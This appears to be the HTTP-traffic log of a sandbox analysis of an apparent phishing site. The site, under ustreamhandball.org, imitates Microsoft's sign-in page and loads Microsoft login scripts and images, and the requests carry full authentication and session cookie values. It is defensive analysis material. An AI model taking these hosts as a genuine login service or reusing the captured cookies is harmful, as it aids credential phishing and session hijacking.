Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJI
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_v20ia-gahguvu2fgvxamhg2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJI
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /common/handlers/watson HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; fpc=Aq076Fa4imlIlpYE2a8YmJI; MicrosoftApplicationsTelemetryDeviceId=d0627549-59a8-410e-b81c-2c73867b450f; brcap=0
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ARoAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAAaAA.AQABGgEAAABVrSpeuWamRam2jAF1XRQECyLEmSSnhHrswejLSYjcwylG3h7-L7BgsVYvBA8R4fmNC85QTX0Y9fMmSiWi6fYAzp1H-UMpGfc3R3mtyeNF0Bh99k-M8NLFIEamN7YZf7ogAA; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEVNkaRVEstUGS5zW9yrKrEK6UtYu3btfPAx7PedObu2jQAJSBczA_OTfFrD_ZqsnQ56dbzcKuOxBllpYOpDFieknqWyGSBYUD-wXSQzqy5FM0-hRSBfe_TiHim8V9fPTNy3otcTu3TZVGiuLmGZ1gU4WjqGn4i28SarIT8teUYlkgAA; esctx-QJgjRTU1vRY=AQABCQEAAABVrSpeuWamRam2jAF1XRQEhgnppXB8DUDgmRVqeP994IMWv2PhpR59omBzIT6N8I963lUhQu0chew1Zd8GZ4IjePH7hdf-WZkUv_Ky2nXwO7YUbM3HC3YbW8mC-RHnvhxz-hBjW1LfkdXQ4oE_QcpGRTihq764LUE1lsChkdXVpCAA; 